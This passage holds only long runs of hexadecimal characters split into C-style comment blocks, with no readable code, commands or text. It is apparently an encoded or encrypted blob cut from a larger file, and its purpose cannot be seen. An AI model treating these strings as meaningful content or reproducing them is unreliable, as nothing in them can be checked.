ff532d8ad2e8b15b0e739999f1a53f418612ac06a89b7559fbb0665963cc64517a6317b65e611815521a70cbd03789d1a3ddb448e455896cbd6d14cf6e711938d3ccba46b7145d8b8825ff1db866f176a0cc8c3003ef070a35c58713ab64eead9814ac568181a47649f4822e29661927a0c459b112c02c0f9b17652a660c98f66c41cee9ac4e148efe4f970a57ef3aa11cdf44530524155ee2d7fc1f99cd1088539e58fecb2c12b3ef3b90e13b1002296d191645de293e0623f436689b0fdbf0db691a61830b4f902e38868733fdf670548c17992110da124fbffe16da5d46bef68caa1e2ea8a67d8580d86d0c0fd54b9874bf7a54c04e0c0b28bbba1dd74b2fd007ff8ecac4de09afc64fb223264f6577d3991505cd2a4bf5c625fcdad48f63bfe437fd9b64ce5ef40f4712b33094b7ef2f18b7c536eb2e197d31b36e78e1a21281c26367802f1a7b04d228f45bfc0e2e3dfccd4c1f51a1a006ca81543259458918cc620abe2c62c5766ba59714791f0ae9498e52943c74b2848212dc8d366138e66847476b15897180d237cbe93c43e034339925c40bb9de03abb8520296b2b37654ba51450c38c96b3635be5d2b2c314243926bd69b53cd5b053bec27e4a432fbf98bbabef8316286682e0d87d4a7e4bf9b99b9c197f493672f29005164f6acedb87aa7b1575fec7a01b2cfb606d863847696222da9dad9db235905af2cc3464e67b16e81e9d51ca4ef713745fedb9b361ef4ffde895bcc4085a3fc2ecd2c0805fc44dec269659b3a7ba07f9f56afa2e4d98ebe1de8bdb0d96efaea13d0295194f98c4f76ab2322d23581c24c175596e90f73c10550c8bb689775dba63de440cdd8d95629247825e99b54195a0d9ba39967d8e30233ec7546d1b931cae94d1613a78ff19916d9753cbed232f5e6641e98bf385e3aaf946d34c92b69528dde14b20d1dcb0fdf89e90bc6c9695ee023d0519804deb280f40258fed0360fd8f7de9e37dc2a0609ab3fcadc9dd67ee1422ed253bae3aaf42e61099877c0c261076b30c78c34fe66eaaf7d6b97093584820157657b32dc16932f77562fb7e64733f3e04df1f02da502f85919771bd74c47b342a824d8d080e74973e971b3b8a1adc3db5bee15ebf34639f3f23f2d3d49ab929d7ed83e4cfcc2e747945c7d20919f15cbdb91b05b96d12cba0163ef5d1f06416efee1577c18b7927842a4851cb00b47655a5ef3ca684ce16babd5e0d61f42c912e3377e1d481984c44a4ea71823a0f4354b63bccdb8073784dd2cc11aea36b8c42790a910e185a90529c53d0865d40fe04968a68c47*/
/*e1ea450aa8ee5371672d3080e833eb78a7805543a9bd481e324bf3ed6e9f13fd32ba78015c513eb0148d4b25ce80012cf9238454ab263e88bfd48f45ba515e0337ac9d66f6794de7de20e4132016b8965ceccb0fc002862cc29ed06b20e893536138f974dc428be90e112fbe7d0139419bc922a81ee5be65a4d58d22f91b82249685ab7127d070d2ce2b51ede6decf1415db7632f1107d90e5b10d651c43b37035a9775e23352c31a3e8ff82319897ff79b1349c44b7c67933ca583cbd7740d3ac253adaeed03a5f519588b94b2098e6641d53046463f180eb35f6db621d2f8f0c2388c9639e05a82f22f8bf4a2e99f814db917fd619f84ca4f9f8147a86abab9e1ae2222046ebe60d41d2fd9537b7fdade8454feed73e5bd50b60c5cce188b0a8b6677eef99259d01ce0bef5df55fe12102f15bec82bb8235ac426a0f4cb1f323e8b0419bfdd8366560c1ae05c2506906c5a1e67394a738bde55a36e4de090ed051f9b17947e7f60087372e160eb6ebc05b0b1f7be4da3aa6787846ba068dc5f5e3b5de20ba730f5a7fa1e1ccd9ee6eb72bc15262c7097d59ced93b1ccfa9a0e1892df309bd6aff46d9fba5643390fab0d2e933ee681296dfa0bb1fbeba1f7d9be1b82859e86e58f7de25ab50e8f5046ae1262b445c18228192b5da07769317f48b7d2f5d556c16e91ded56610b389d8560ad7466a26b493cfb7b0dc11d83d56b6fd8e1261b6057bdbecc9f4a9e7e88e86db341bb5ab805b1862d4a840541944135ce5f947a2b7bce8ed3af1a3016c565c7d3bab6db15126e0e7db13551f263e635a6bd8b7fd93e4a92b3ad7481a7924ea598ee33a8c3d3e72bb9c548d082336147bd7112a9dc113fc90e9bd210193bd5c37ce243bd927764c04ba1f34e127ae006aa7d7053cc1c510c8cec3721d8627ac0974886964effd24afa0e12b57b5eb673b290e2f941c72e5ed5377657c2cb1621a1903ee90bcf77c6e5d6b71d709d6f93fc7647d904988a19e2bf9737387970c813a4a3033b1f14f41726e6f9411961ec2647578118f1694fe7af58b20752d45a5878cb32bc68a30608af2528679823ec981bf0509a79c12b74657a44d4f745dd493d4397b5020f5688db34ec4b5b47d5592ae3bcfa724dc1a1cfb3c794e5cf204d4bf2971b2ea755ca515cfde5ff6881c89ffe0015bcf5ead24ad183ea14024541f728f5fdbf9ae1c451bfcc6f1cf1988b7330a0bb72f0939b1dfa45c53831ab3b08dd870b943f5c2f64ff0f4b3bd8f65c3148b192f5396d0d7e71d721b4d6b132d2060a5b7ec7d3c8204965921d911ebf26cac7fe632be0f2aeef13995720f57d5a44ab82099a076da57bcfe66fe830f600d3a7a33facd65cd3a4461214f2a313fd507071e0b27145d660a50612caa78b77a10f1b5f088f9d00cf9c3991e4b5279d38cb8cfaf8e50f9f79a15428ebe640dc602b1d2ca6b61a59a79aa2fcd011ab3882ec799f21a5abee55023f6be1f8d9adbe0ad5b98835cd82797e557178dcb384f41ca9dc3100b81517fcb8a28856b89817fc0c862c6c2a3a1cb60ad29e5ae25af3ee6a964f039321cef29b563ebad5a16376dcec83af921bbeb621b1a62787af8d02e31bb0042ca284d09fa761917ce1cd5b1c25fb27c6a2b058601789a48d018405df82ab0a592f65780b4f8938cb3ac266551e2156d203a7316e8a2a07a27fd7d72d2c8f051d773cd036062e0133b3d6ca4db08f766bd5898b03f089b305d791951e0a66919773231cbe65ef7fc371ae42655ccfd520749e5b498969a4be05df09ce31c07cfbe85e477b3c51161e946bb1119f253daf6f2d8f544f16fc661bf8b385bb71714e606abc5a836772875a8bf8dcac3d36fd875c6fd46d04707280b5e559c8e8556850a8e2c7fb1d230401dff29bdf2127f744295b8a9e957d764f61eb393b9634db316d1a7aa11ffd21a3977696cd3a32bea492edfbf435bf39bbed649b2e1681bd1e667778e3a6681882b2bfdf84b4876051801152d5b5cdabd207eaba2476e536d7365c23d6f75b7e3a3729e72117ba55ffaffeb06dbbe04faa8e5193359ef9f11dff6e478b5162d3ebc16c14ae9d389451885dd9dfe4bde6e05e299c48ed513247a46994d34ab12980289a4034ab2f22cda23d2815e812e44d7b225b0c26993192c106b0b3338d4cda519437852d55f2fc8495b27798db57d088594aff8a024a8cb59cbfdba4fe520fb4c39a841e9131c8e9167f3a18c6f7a41133ed84d6f2e2e2a740cfe00dcc14f9da684730dbe53a3cc3f6babfee5daebf4e3749008f8708d85bdcb7189e1607fbaab45573e0faedc6c860063aafa916d33a9bc1ea874a11ae1bdb906a0b44fa229ad9460589f9ab723ad7a4c482c223f0d82e56dc0524cef6f662566852576b5adbc43a634426a76e5152eb0a3ea5dee7cda18f015632c7c315be481fcd446f42bf9534769497270a4ebe9f128bec30bccba698dd216b74e4b3bb90057ea3e2e779b0fe82a610b49b7492e4b3e811941ca1242810030e935c38b89191725cfb1a0dae913e5cc82f722df8bce5c647b1671096d423a1f1bb3baa50b49847505ca9e4479725a6119246f41448388b00e78c3c2a47e3f457d0c034355a4c758fb6b601659608b735f5e035ed27480325e568b1a4e20ef16589c7eb561c9c950b83781a6c72d7bed0af23395feb71422c65e2e94967e2a36701a92de11aa06eca6a68e72d6c417e6c487bd1cfb8ea48b61d44eda439cdc862c56a8846cf96d0dd282f5e875f05eb99f6b1a5723cc3095ef4774e85f2130f6280635f00ac5cffdb98b9ca1939023fa358303b5d02e7*/
/*c184814faf50d045e7e9d4de74f052d1f8bd3cdbac9a0683d21d95c8d19c18ef13075979a17b18ed69e87f8bae187dce359e25586ec2611de2926acfc160336392d84d0b232f1ba46b52cd1e410ff6f7b3564f41d639ecd6e9945633b5085f8d10dfd5ef32a835d2a332416e9d8eb6804fa7e91c0e62ba302943e143ca6785c1cc815c5a099cf9df65c1ea06e43b56171e102bffcf8be778ca424c188cd1517df5eeff6b078f3c8cf2a40462bd56675ca3fb92f91ffc422485a56371955b53c20f6bd1880b232caff0384cfb4dde7e5c70cc503bd7ca4d61f527e94c8e0da4259a2bfe06687bf8a4deffb14fcfbdcdebeee49c541e381f24423cebffb4f1bca820ae49f6c70f0413d06bdd481b293024b7198267996b402356344b522420e48633434b5b38c1893bcbb231ac7c2e05c7944075eb9ddeef1bc076a9bf813e40f0a4d114c8687bb32b3a99f6a09b5502df5afafd15010301fb2f101e67f4439056880a92990b05d2a8d3e841b68d9d15379b63ebcba32dba7f2bad4b77c349ac44507aab89eae28ff5dcc0d18689d39bc8dba08e07ad476929ea7f1cf70b902bef4fed8a625269e718a93519ff8899bff492faa7d0bba5c5f37a45253ab540956a0fa2ebfa52b7c3328ff2930175f4477f1f787d444c1b95bdbc4b5d1eeb56fb780eb6bf5d7f00b349b265e96b071d60851b195b2f32a6d349707db56b3d97c7acd5c7c761683bbd7ba910346f90f5ed028fc649d84ccc9dc2fea36f223d5e6251835c21d5a6d662bc68858ac02535503654e5e0558a557da6c05d3ac1e75b8e2660a3d933a0788a56ecc9897bf127b421c69b6f7818e8a469e2d1f46322f6203f293a78f3ccf9fd2e3a50f1090399f7c318e5d1be0b1e0ecbef580c11d6bcfa7640eca25fb48bc3c2651771ad980927c761db2cdfd8e6d84f51fae6bc50e8e64aa8c3f0af4f912baa31bbf522a53606c2fa59cc10b17331efcaa673a80e592574b3e3f7b6e1aea99efc9d3e1eb4f545e4b8622b5c05b3f901a5b8a0e37abb174145f10981f6dde1c7a176a8a2a51bbeb99a23cf03490ef28c2163020d5b0d24a09fe6fcafced730c73f04bb142fdf485940b887caabd75af33b32283d8aad9fdad88d2d21019c187d3ebe42c252522f4c2b9fe10603c554bb6dfd4708bad74f969ecd26b627a355c2c0f4233bd2cf6687beaecf19eb0cc6cd429a18db3710186012b6485a4b6b1bb1807b2b1a01a021663d311a71b4f722f39643b2cdf27ee6bff0ed98f3cc69adf28da62ae235e3c02e1277505aa73423db1af8cec4e62cd37de345a277fed12a34b0bd9128155d6b0629fa2177d0adeb0e6321f6bbac169dbbc3d77fc177d5d3157db0622390e16d2109a2b303c73d61f7752c28e79856b70f0fd43d225fcad09f1b0b531365785336930fa270fae2ac68c62d4e6d838b244652826ea594f3942634de7299a26527c8477ff699fb593e0a4bf28cda3453dd8f834cf2072be0072e736448f466078e52f1b9daa7966289a7f7e69ec1ce988b8c54e99dba95f62a5c57963f9fe3b9d9efe92a5576033ca41267e5d75562f054f241595da12a4650fbce4ecaba79ce1faf4fec41f9523b8ec6e4504a2e296bbafbf1b546ecd7d384e0d9d2104a8050c5919aa8ec6fd168c19a4ae3fa3818ca7b62e6309791ac6c649b2980e164fb0146a654ba6052339aa5b004c874f72b47e61bdeaf568f5e6a449089a7ff2a01e7ce8991cddb9b35e177c36f61740d8224ccf736127db0bea2fa2914e79d64167da117946dc1e329f14ca1c70370a506423e4d2a80b30978cc287e686e9bc15e83459acca5813804fde2caa6a88bea63bc29c4d6f25a1e9444ff46290a814c9c6d960b347ec07279f14e4785b6b3fdc24561e331f42443d7c7c807db74ca965905bf9739c54da65ae77db2df427afe9daa3d1e5e9721f2ec2cc1373c979eef606892353be4a89419057382543d7811c1c188c330773aa313d48714c2628f582cf55fa42fa0cfac259fcad3cdf53ec6a32e81bbe52fe01ba4f9fd6285fa84fac0b28a6fc3f91bf7c08516014acb72c8b070e745ec21217312adf35afd04c1a1f5f555945609e73a0d7bac982dd8279d15bbf438444110ee5fd14ac4fccd5743bd53a56a950f64cc3316c884bfa3ab88748096efa4d775e020a6ecb8c834495f4d8ea0ecd77cba9ea8d013e3e62ffd2fa77b969ff8d022cf601c07b94de5eb9b6bebc3e9f74b1eaf26383a8bff8f6fb6212078f70e259516efd9887f195c9ddf055236f30d9e0e723f723a01a66919d0da85bbc81c5407386fa3a912581dd8fe189aa702138f087ca27cf05f4564e2ebad254abf7a8611e24359226f0b032452aae1b480a760721e97d46c218a5c840cf596a1620687b75ecafad3e2e05a6748ac38f1fe6767c3bcb3456bc5cd043391da9e5a8940411df558b36bd10f8efbfca737fbfa37c799e0d3d52e42d34240953e438b8bc360907ed7e21c69ca35a2dc7a1bc21db125e1e3c7f3bd09862007b2a4e7f184aa63816f374a2392a97385237ba2312605e8c6849cc9a299b9d57db875b2b4927f04d0025315c05aadd53ec4ef3f09ed15e3ae00061a0a2cd82685585814eaf79c1b365342011abf1a72146da3f4a60bdee26d766ab35f7562f4f5de807230f9e2e5ea05d58947be38513d725ac6f14a244b8bffc1eacffb29ef8445d59f2c31fbf6dcdeecc43efba75c556af56f95cacc71a38d1640c1437c5dc5299a37db2768e51439e226bee9a89f14631bd0e7680c7442565cf37d4540029f2c2a00c8388271228ba9b85ad17c5ee0da9f204ae6*/
/*7a5d95b851da5c97e65499dd908b9cf3c8efaf1a72c075b6beb8b9b74f6d4a6d1dc8c47ae35664b0d4095cf0b9539e22dbd7284b8dd377138f21e8202d288f9c3a4a3e918f2a7c29aa0ab500d86d80ea3365af5c025a6ee56299ce1dc104ca19436011dbba748b70c40e60a72a1cdde45039b44db813ff65ad2f9ca996ef77877b2d163637ab92c1726d342bd0558c22a5cf9ff08e2d43aff28b236768cf9604a7444ecef3aadd29f569d75d566562a86d30b29797e1ce004a4efd54830f6ddec6935f56772682aa49ca186178e512030fb5f2fc7550dfb410032c46cfff28018e725b278cb707f3650d7180d695de615d01491fda62aa8d524efb853adb66d6fd6bebeacd99a60d8eda03452bea956d024e99ff410a15a749f87ea483bd6459e649abe9cb8505e1d9bb098b2f26ac53ee042668e77781188dad5491db0b0d706395da6ae30c835607cb13f8c765645ff5e31dd8cef9e8fc090be174c04fe7990fd5b95426bbf6875e45cde71a171f6ff18ea70aa4fd9a2444de2e6f3f0b4f932df94d34f53121d95c4e45adf0dad6a5f7016bc1c7dfe4cb26fe57ecc49d2c112cacdd8ff4a5e9100a639741c3456a0df3205920f909cffb1d2f35aa3cb969160beb8d78477d3f78ce26f973a80f90f4e09dc87d9a151101f6f38ce157e75f0d8eaae4b351068a25c1f9f574ba061b3289c254a6f422a4fc0ed7daeda7651ab1ee8d9e21d213599c773a25a56537fdebff6372d60844fd5bb2388da5fc24123b144a65bdad1e0128646e4964f59709859c0c0a8cc5bdad60c6f9256b5a9ad36c833d3056de8973d018b05116a38095749f573d573e2276d7b2901c50a8d94609e82834a14b9755aec4e67941a71257467a897eac2fdbf0474ac53ab9d3b226e9ac7d223eb64ea994a62fd9b1a6bf3c117bbfd0298e91973c72005a7f244f13b421dde1c281683d25762a4422c03c9e35d3570dd200f11827e11dc3aa659f0ee452dc560d8b4cad8876c05a02844d6d4972265ddde7b5a16c63eb22c56cfcb8053587ff3454df3c017a3f9bbb7f80677c326f3d5539f29331457effec9613c397fa0daca2b6078acb2fe449f6325276a4a8c547eb008c374bdf9596baf57a20035691a7249e14692376e68cd2ff161cd8cda7d088e70a665d3d6a49cfeb872750f528053decd242fe6ddc63b0a7e626943fae7d19879e0695a61e909e7d365d43f9cc9939acc698a7ca0bc54b614a489ae7702534599ffc3a0aa6a8e8608ed42770d3477b2410879c7676329b0293bd28e511dca14bc3be30d110322b259605b24b2ca3cf08ef244778b9b3ddbced28d5a4dc1a709f479c27dd919a1619f8ca91a750fe43d96557793546e4b92f52ec8affdfa9bd93dcc01b58aac663965fd787591840b8a16d65bd0368ece8577c44b8214bf13189dc9073c0b55c4862647649a1ae0318d072f9ac8e9145490f365a3aa1c325ee195af8e5fdd4d35393a18920a3bde27363674a24e6eb500475271426d00194ddd5be6b3692217ffa0fd9c95b67b36482d7c6e1f2e5a1ccb2c9d7b34d0b7dc95fc715e7f3123ffca5166e3d0da030098ad73a0dee7fa082c3349ec8eecb1c7750799968afc9b0fd525388fddc78a9606f0d5ff095ecc23aa3349262f768aae61a93cf5a6336b450379330f800b3d7f32d2fc5db933daae5eeb5824539524ff28aca3035cc645026cffbe5da872178b42b213eca191c6d07fbf8a714ffbb9244ecff1d52e6b0cce77fd24c281b33c975b43a5042298a9984e769a41ebc3caa1e9f4dab4982dce56e69bc7221040d008c077075966fd4a0b189610d4c5499e890bece44c62ca72189ff99fb5487a69a058819c625869f7d734fb57accf473ac2feab4d96a3652255697b7314bd7acb41b2bdf42d496c87d5f5e3f666c5836584dea0f7cb7a50a240443001acdfde93d49b6249518c04a0e8fde6c824d8036bc6de403c230586430adde1d465970c9fa739dbf5c7d8deff80362bf0d13d1ec9b3ed09f66b41d65fa7a5647706f50ac4ef9bcea2cf4048fcf0a9ee2b192ce080d534373877069f9317cbb7f327e6ce324317a7311ce1ddd35bd39f92aeb281864f6802b0aed43a4a80e0bace460a5b285b04e958facc3e563dd7916605a7b468a84b0b43c87a14a1a7c7b2700c0bbb92a4b135b3cc5973250c6f4dbc116b5a827d3a5594bccc48ee8d0057e847723f52c7b87aad5a6aedc36f55f7e9c5665966e2d85e8f79e751fb3ec1c6d0c204ae86d5edfa980794adc7a0be9b74ac458539602c608cde0b5793f0c9872105cd9f5e88b807f39e0342e1961c642b32e1941155275753a2700e5617568fc2b5f719ed964f8a9804dea1e112896bac8d680c2379a88436cd4bfe7a8ecf9e26b78f3a42aab80fa3c14d930d6af5376b516f6a8608a970ecb925c21b0608b63b52e8d3e870154ab9826843a3574ad44be764063fa09858e6136e21b2983ab6572d5bfd8ee2c580c9f96d07c8f4a92dac966b910359f0c3f3e0fe06e479d5f4e20013d4244e0f06d23496ff74c3ff6c63f260a081eb965743ad84b581ba659e830d080a32956f9a48f00bdd82852aa869326c79b423796f4e9290eaef99cbe572a1c139b1fd936fa36d1534738d00722c04136b5bc8d572f9352bf3352bf164afbfa74fcd9070133c0baa88898dd80d9d833c0fd3cde0d2acb95d230bc56d6d1d89c8580a74351aa0c733bba99ed0c60a4d47b5f5f35d01eacfc36f50b669942b366384ccbb6e25e3e7bce381826a94c9f8b9849daa2dae5c6a347481a84fc43c514f6561daab3f0f51c0f99e31703cc17a73a*/
/*59cda6e43402e7e009b21114bbfbb068dd5aa471ffbed4338eda008872ba5210cf25cd59a31432ce35e159b79bf99fb42964f946fa09ca349f482fefef3ee948eb93c297abc926aca6b4070a97daebca25f9a332a37140a46f64df1a7329ae708cc6df891c654ff3ff7665b79632876f28030c385c08a5fdea657de9a1bfcd69eed1437540e82fc11d6ec9043c3a602ea57b70ca8d612b63d8d158c2c6f8adbe00f8f65b1d9eb07af3af7da8400ca466af5705d635c84516cff50f24d01dcc27eaae05c18631bf2388b28edd5b81c03faf0375fdef004a6cedb368dcf644140e9a6b7337490b6ad16f0bb010d9915cb256347681b703ea5ed771af228ceb43cffac91fb8c8727adff667cfef9f3e47d1843411428a06b4d413a53ab9ae2b9d52a8920b1958da7f69aa25963b2ab37cee4f75395e94f2936d2f52128e1c54ce4fe3c60702d8ba6b779c046ca9eb7e0e53e5cf3d7ac309c2ef93858154fc4b0978df5d00e61cfc1cfaa2b55510adb2cd8d02f9950a9f148dbf90f4a5b4285b30e8b2d1c0d100ffdfbb0834a16d55fad09b9de31cd1ec7dbf4e8f433657af0bfd6d4a6564c21476c96d75d80eb62fbd235f8265de95ab6ea3f18f0f2e0fd58861b107c2eb00b766228794e687e7f354fa891532356da0cdb3db9b42fcedcce22595007e8945c0f6f5d2d59104945da8325fab52084106da1d24e450ceae4226c4ca8f106310652a4333ff55aa17b3d3242e540680cf926eeeadec5c78bf46a79304ac88f6e041c55b9852f552cadbc220b9fb5dd067d4c5e9fd23e69b849ccc5f1e79991984a557a9dab795b5f9e4a45eac3bf7b25d48af4af23edebbe8a875d91bd2e577ad9e6cb1035de11cf8d436c261d58603d8dbd931282ff847aa9d973819cbf08a4a61d4244ec6cd4129367b0f7e9f63484194fb8fb38980f5c976f56b4b41902a5ef07b90d1301cb21b4c0d7e7c01c0ff158d644e9b23fe773b2ce54996a39605f74a94d8295a86b4e0650f97097a20802fcd787df2827127e7ac9a4b25366a78b887648e62b4a6b5a1d893ece636afbf6f5c2b9095b9d88b8ded85f525b156c9a9a68e7b42201b5b9351848726f50a83696ced44ff91f4a3a74466df224c9da0454ea388a1b2d86b548208783e0db89bfe962756518a85556305bb611c1928a171cbe24fdd73130f32c9a20f62a36ba09a45ea8d5513cfd9d7cb4f51494c0a8259c5b04c161bd47f9438795745e11e839f1c97379ba2cac683b15bc527f92c763a0ce955838b03c11476424b393aa24ac032c40570a21a3d9a058c878e9614320f5bc07ea1b909c0c99ff261c62d788ab0fe393feecba6a1e956e3f5278bf7b8b2721d1378ffffd6868f1c355f47226b9f40d6f02d0bdc30fc39a0ebd964433931ff4381cb627de70955e2e83eaef871d8f9d9108f667590555b691c8b28a4e12bfd0a64f0ce4039da67e9c2aac4428e96d08eabd925d20c1b56a6290d82a666698b50ea2981f1d2199ea9286c8dafa496a850e591630cc48f2349073933aa46b2d5e4b5316e921ac314d9eed93af128705e898d923fab2acb4174a30b797d59863ede837612116befd993d85db4426ba5ba34b19611350e04f9c937ed6d56daa5f001c96acb5f6a4f3e67b90dd0ae53a9ce487deef2b6990a81f5354396a89da4aae61c69bb025fa8ab244fbd84a1cdac6aaa36ed593ff58d868a37db719fefe9a02af14a0371a98bae8b96f32b9ca3f98252059b2eb0a78519b26ca562623f19ca04a08f448819e5e0735c67f1c82fac6af9135ecae96a1d4c87e23b2924bcb4100dfc8ad629218d456699b73f5ea1e8c1498d21c11148c3e06a796d5e7ac6be23f1e7b0f8b647c61048bbaf654fb36cf5c24f7a8d016bf4c71976260cabb6041751bd64d8426af52b2afc10b160a4ee9528c62dd390f4b95a8e75840b4406af04f4adb575192553268150df763bcbe8f80453b9e86c1b242e0bb429a9fb8d2d52508b257e8b52d6822a49a29a4e1bff922b31cd73a78e9e1e88b28bef9e39868cecdf5045f95a57fc0bed3eb08fe9870dbadd6082ab5cc97c54e8f8302a6b3c7c46f159ce835794ae7dea6a5b1e6e035b0b70f77b4a98862a69ab87555683bb8cd494b72d35c517218a15dd8aeb38e49861389fda9ca1502365c7c5c84340274e605a7f4241c6a7b3145517ade84c3c26a320937fff8eaf3ab5268a227edc38cd44f80077561aca857d4098f1f9c66e208081e308273bf56ca583a3dfce3d3bcaad050dc62767da3a1d42c6a72b5fc8d9149c2eeb0f5aa50420a1fbded18d7be9aa07eeb50fa21b22085132d184442cb33ce18e06f0be59ec395e3924051951dc4044a0a1e2b2bd9faf3f9b81a8f40c4225aca38afd5eac44126336d9a622ee8cd985d2c11117629c00b82d754c6d1b9e9cad20e8399525fad8ae99b3257c28a87161cacec285b178d2711368d3ae6bcf7967c2d1cae26a5d188d6acbc368500a583ff48a0aedda71a7cca8cc336080a7c2334feca4422f155eeb33cf9e55cec08a9b8a0ebb676e6dfd83b8346c31a6a08e46fdc8b9e2cfebf0fd9c55538c16452ee9de9cd7cf7d0a7daf021a55c487fe862ed0c166bb14ec94a9726240cc0bdffa6f0d58549afe36592514099b5f33331e54a7448c4f35f4f39518e59617e771352ab120ee48caf01e9a41c31a4185212f10a38946be3e0274a5164639a261305e7f0ef167eb4295bf1d18a6e4d39574f957520ff8867ad4d855d6da5db050cfa1f614336262be66da079e84b9e18d935dd877293856e14d5608b7c1e6386c765480346e15c449ce7db662*/
/*fa16652c31f15b0216b6106fa76c6b307993b4e6ead69a576cf7cd3ab7bab278660198c8c1c01d16c350056a1d4d4c2a40d8efda020918867896ff4fd3b341a64328b6df82c8cfbd4878188bfda1abffda59de46118d9041ed207f25a2cef677b7a120f90165edb2d707b539f834299ce9bcf56b975aee5d17a7d291b6cd1f2e87ae70aad60af034a0f3660ffb30f2c465563bc3d0c2bd4917895375acdc3936706d4a43298cfb7994c595d5af277896f8aab34a512b34e2290fb3b62494e44025b826e1ad081c7f8b174a0651225b969bb7fea2736b02011180f5c72796c07ff4374ace42cca893c586dd2bf435e0979a47dd225fb3c476d6b5809ba516e6d5febf7462cd57960b74dae59150171e0168d86aeb7a6777e1ab48b6908dc73c2bca36fc325bc8583bfc45def82cc2998732533b10f005bc8fc4762ed65d56ebb58f71686ca74e1b7c1d637b10c390bd9c1d4d0363038ed3bbab824df88f7000808ef3e8d0c7f0d73784a80944977a13d5e79b068c30fc4d9de29bb6213b564feff5149918e659239a27a2aa1085b47fa97f376390dcc919f38b1bbeb7be1df0bab09ba973a948bb53c250f9b4d4452f531661b49d54c4c95f5d9d56f4c3e37fdde428ba227f881292c93e44dc7172a3eb35aff03231b7a5449767d413b24c653447130fbc7432bfd44a4ece3de0d09ccb80414568b7a4f8adb283f1bbf0397d9176ad3e1bd151be47050af764f2754bc01c9a792095927d0031fd444f3f20d498f7e7ced8b2dc4e985f7514e4e4c1f6e89a48bb678b1b4f55362da62b790d3570ca2c0456f8cc810b48dbb669872cff2a06945d5ff1e15074ede1c864bdccc10e6eb8e9cd8aa61ff689ced0a80586f0e6d15647e67026d7e4a920ac4eebc4aeaa9b05a5fe9ca507032b1ca4135a12535f7fee43b102bf4565df0b42de3286ae1aafc8367523defe670dd25537a63ac22132927b526cf4503b57777da3d7294fcf99f3849a5219568b8017107f4d5620ae2dba41bfbadf4bf070df3487e060ea88032c7568b4063481782c42b43ef0b4cec10186a74a101f3631aa3609d50ff6222d80338a5bedae793744fce87d43e2bb2dcba92411959d3b5b81827b1b663b35936066e4f56d665081516b3b0528358b3d0f868c7bd62b5e14c01dd01d7618e81723da8e57831477dd86a6497fcab554e8532f276daeddeace9a5f541c5656c9a45278ff5d23d6f85aba4f4221070dd540ef6e176e3565b76f15ab52f2702b9bce7ad50fc91661ea27b37371e1f2b2252aaac394ae4a83d252a82d94d44f21d75f8e2ffe6cc18641ea63c67347730644370f1bf09cec427927160bd68f02b613829bf3d75050cdb664ca809323aa7f7ca7ef49dc503ca48473ff9af564c178c8ccadd1c81abe68cc6c1aed7f366fbda7f2c025b7951f91270e46fd32effa7bae632957c86dee18b660fcb5ba7ef20ab908cafec3e4af161938004d9693813c9f802857cb205a6e7350801da832746b18536f8eee36f7bb8e57294c8cfd919565b3477a4aaeb3c922702ab3e67f2bbfcfd88ecef3216617a0445e2f2804ab9cb6711d7b54cf3feeab7f30aa396fdf86a5aa16844afa9c31d77a6c1c8d748df9e61b3826ff4da43d900d88989bbed84e22d862f786c15b460df8da6641b15b74765f227899a734b983a78020b291eaaa0402f090823e3d2920f83181b6cb02e724cb091f88ebb17a56240bfc4b38f4d92ab18b7559ee1a99529cd5c44945c7c0427a72963d9b7ac8e98f53da321cf5c64d3a0e0b9e240232c1854ac3bddaef567231cd9fba0620dd5d4375f1758276f9ca4522bbc3c538adea0bac955289acdfd3d11a85d74500979cfc4993fe6efd09b6ce864d8bbf2b05e799f0505395a0b43381ce6224fc3e4f9f88e45dcd3a4cdfe566bce28f8b7413c6c09e1546f952f56f1164887f4cc8af71465d57f650429cd94a4cc96119ba2a06632a3f87d6366bfbb268ba7828f051a4adc3472b63e73809e3803c78a0c2d235fe9d488046945a0f7472e32fff4c62030b9a413e425f7208e0b43b3a495115f539f537309475425b782a4ce202b332c7849c1305c2d9d0c926e51e6d7578a3a98a85eae0333e4053ce6698706934a66602104bd28d45dec1c72660b4d5cb2a9b1d21546b874930f10c3e2ed8aa4dba77f127a4f597867e2cd4c4f1bf2b3d93f813b89b60baa693daee9f944e5e5ee906d9eb47b1b7cb199a8ba1ff81182b36ac9fb288ca9bdab8d57e8d0c4bfb7c3de101c5c5bcc90cc4f5135710fdd09a31238ad2bc68c2aae295e50bd51b2df589389d7a645647e14a9c34ca7dec1d7d7d3d4b3246d005c5f72a12e3577d53f817915e36b0f0024af6b2c9aef3c92880559abb9a40f13bb469e6ec64156b5413b6fdfb6dd8dd44d77c4f3bccb0ae8bfdce799254cc985bc86c51ddef5a590dcc146a353978636545c74933f6a4c77342b29c4d53fd493343a39ca356df73bdeb748de946f9bbfd2a54bc2542b812156b0ea2d18a9f3c502c67337c9447590974572a332518e5f3c484c9e2f5f29daea1c16d50569082c16c4889301ce9a9fd0e96204c6bd10fb122fc3cfb52eb524c92333377b5252e359c8737b55e41d7b42891b6ae083af4a6c74871221deb0b67e696ea968071345cfe98574962de33cecb321d30a3cbce7775a78f647f9a830da1b18cb7b00968ef354ff9cc269ed21355b55cee5d8acb6397bd0168dc98ac11c75f8586eeffd9bdcb5185d05dc20628f2a182a659ff39f90613a9b99f7c342bd18f8d87121a3db40a3017d5ca1077668750a196e802477a7cf809*/
/*c77a3b8cc4c9ed40071542b097dd5911a25972860d15d6ae08dda354e48535e6d441e3684c782b00d4497a403c9c8bfd89d623aff20487f7bbba877b2c1abb68c0cc4697bb2b28729edeb4391625b0ae69813b8236b7efbc8ba47f985a2c4bf0215d3a444a96a7c769c81054da4bf0d272f46c52a70ee40940d2c168f29255d7b92397ed318169b6415d04fa7f5c6052e50189e1ba829124f04e4f7d54fcdca42f283db1f8230d711e2e3bafdbac65d2503a8f37a385fe28dbf2a28e3f7f9613911caff2e427e15939eba0bf45cacaab7457b92e4f18e33d7e3f6881bcbb7a9b4686e7acdee220c47be0928870cbb3f28276d99613d38e471321255c641d03b4539f9daa175a2e16998098eab152e06615b852eb13e92115515062920b41314017fa303c90ef245193ff5db8d411afbb681f7cd63306b41e365d6faf1eb788fec54445256e5d3e04a5302d28d07f93c71c69f880a0397040058adf058144db1c3a4627b0637e9e740464c454e6b48b9e9799c28ad9cd2b34aaf9fd3c0bdd229c440b37a0fb453026ecaca9dca4dca84830568272275537638682df1dece96e39cab8b2def2df9611be509a049c6e04a28dcca1070d99ac2eb5e3bd95b46639cef4ed3b01625359ff35fea4b15ff43f696e5ca455499c86faa23bb1fdbe583eb1ade6ac1d890c1882311948af19f42d01c82ff75e991a34966a4c6127abb6177986b7dec482d546ed4e737442f8446a70c74ee9d5c97eacddb0c3295490057180f5412af7ba2568157f6deaeb914e